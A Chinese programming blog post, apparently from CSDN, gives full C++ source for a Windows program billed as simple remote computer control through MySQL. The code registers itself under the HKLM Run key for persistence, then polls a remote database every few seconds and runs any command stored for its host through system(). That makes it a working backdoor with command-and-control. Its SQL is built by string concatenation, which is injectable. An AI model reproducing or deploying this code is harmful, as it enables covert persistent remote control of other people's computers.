c 读取mysql 并显示_c/c++ mysql读取操作实现简单操控电脑

演示视频:

大致步骤就是:

软件打开后查询本程序是否已经写入开机自启动了, 有就不写启动 没有的话就写开机启动.

创建一个线程

在线程里边 执行mysql读写操作 具体看代码把 虽然写的不咋地 毕竟新手嘛

有很多bug 大致还是能运行的嘿嘿0.0 技术交流请在网页底部点击加入交流群!

下面我贴出代码 :

环境VS2013

#include

#include

#include

#include

#include

using namespace std;//名称空间

/*---------------------------------------------------------------------------*/

DWORD WINAPI ThreadProc(LPVOID lpParam);

/*---------------------------------------------------------------------------*/

string getTime();//获取现行时间

string Gethost();//获取计算机名

/*---------------------------------------------------------------------------*/

bool z = true;

MYSQL myData;

MYSQL_RES *mysql_res;// mysql结果集

MYSQL_ROW mysql_row;// mysql行操作符

int res;

/*---------------------------------------------------------------------------*/

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevstance, PSTR SzCmdLine, int nCmdShow)

{

if (!IsUserAnAdmin())

{

MessageBox(NULL, "请以管理员身份运行!", "erro", MB_ICONASTERISK | MB_OK);

return 0;

}

//检测本程序启动项是否存在不存在则创建存在则啥都不干!

HKEY hKEY;

//访问注册表,hHEY则保存此函数所打开的句柄

LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKEY);//打开成功返回0

if (lResult)

{

MessageBox(NULL,"Open the failure!!","erro",MB_OK);

return 0;

}

//RUN项下的Citext数值

TCHAR owner_Get[256] = {0};

DWORD dwBuffer = sizeof(owner_Get);

lResult = RegQueryValueEx(hKEY, "Citext", NULL, 0, (BYTE*)owner_Get, &dwBuffer);//查询到就会返回0

if (lResult)//如果是1那当然是没有了所以执行写开机启动项操作

{

//MessageBox(NULL, "查询的键不存在!", "提示", MB_OK);

RegCloseKey(hKEY);//先关闭上次查询所使用到的注册表,以免发生不可知错误

//获取本程序路径保存在a这个变量里面

char a[MAX_PATH];

GetModuleFileNameA(NULL, a, MAX_PATH);

//MessageBox(NULL, a, "", MB_OK);

//然后把本程序路径写到RUN项下

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKEY) == 0)

{

//打开注册表成功!

if (!RegSetValueExA(hKEY, "Citext", 0, REG_SZ, (LPBYTE)&a, sizeof(a)) == 0)//设置启动项命令

{

MessageBox(NULL, "Write failure!", "erro", MB_OK);//失败

}

}

RegCloseKey(hKEY);//关闭注册表

}

//下面创建线程

HANDLE hThread;

DWORD dwThreadId;

hThread = CreateThread(NULL, NULL, ThreadProc, NULL, 0, &dwThreadId);

WaitForSingleObject(hThread, INFINITE);//当指定的对象处于有信号状态或者等待时间结束的状态时,此函数返回。

CloseHandle(hThread);//关闭线程句柄

return 0;

}

int rsql(string sql)

{

mysql_init(&myData);//初始化mysql

if (!mysql_real_connect(&myData, "你自己的数据库地址", "用户名", "密码", "数据库名称", MYSQL_PORT, NULL, 0))

{

MessageBox(NULL, mysql_error(&myData), "erro", MB_OK);

z = false;

}

mysql_query(&myData, "set names gb2312");

res = mysql_query(&myData, sql.c_str());

if (res)

{

return 0;

mysql_close(&myData);

}

return 1;

}

//向mysql写入数据线程

DWORD WINAPI ThreadProc(LPVOID lpParam)

{

rsql("insert into server(host) values('" + Gethost() + "')");//向host插入主机

while (z)

{

Sleep(3000);

rsql("UPDATE server SET time = '" + getTime() + "' WHERE host = '" + Gethost() + "'");//更新指定主机的time

mysql_query(&myData, "select * from server");

mysql_res = mysql_store_result(&myData);

while ((mysql_row = mysql_fetch_row(mysql_res)))//每一次mysql_fetch_row()都获得当前行数据库,并赋值给数组row,然后自动滑向下一行;在取出最后一行后,函数将返回false,循环结束。就可以把结果集中的所有数据逐行取出并显示。

{

for (unsigned t = 0; t < mysql_num_fields(mysql_res); t++)//mysql_num_fields()取数据表中的字段数

{

OutputDebugString(mysql_row[t]);//调试输出

OutputDebugString("\n");//调试输出

if (strstr(mysql_row[t], Gethost().c_str()))

{

if (strstr((LPCSTR)mysql_row[t + 2], "cmd-"))

{

string data = (LPCSTR)mysql_row[t + 2];

string cmd = data.substr(4, data.length() - 4);

system(cmd.c_str());

}

}

}

}

mysql_free_result(mysql_res);

mysql_close(&myData);

}

return 0;

}

//Get计算机名称

string Gethost()

{

char szBuffer[MAX_PATH];

DWORD dwNameLen;

dwNameLen = MAX_PATH;

if (GetComputerName(szBuffer, &dwNameLen))

{

return szBuffer;

}

return "错误";

}

// Get Time

string getTime()

{

time_t timep;

time(&timep);

char tmp[64];

strftime(tmp, sizeof(tmp), "%Y-%m-%d %H:%M:%S", localtime(&timep));

return tmp;

}

下面是我数据库中的表配置图片 你的表和数据库也要设置好哦 我的数据表名称是server

dec89281a25bbf822dabd77274b67401.png数据字段名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值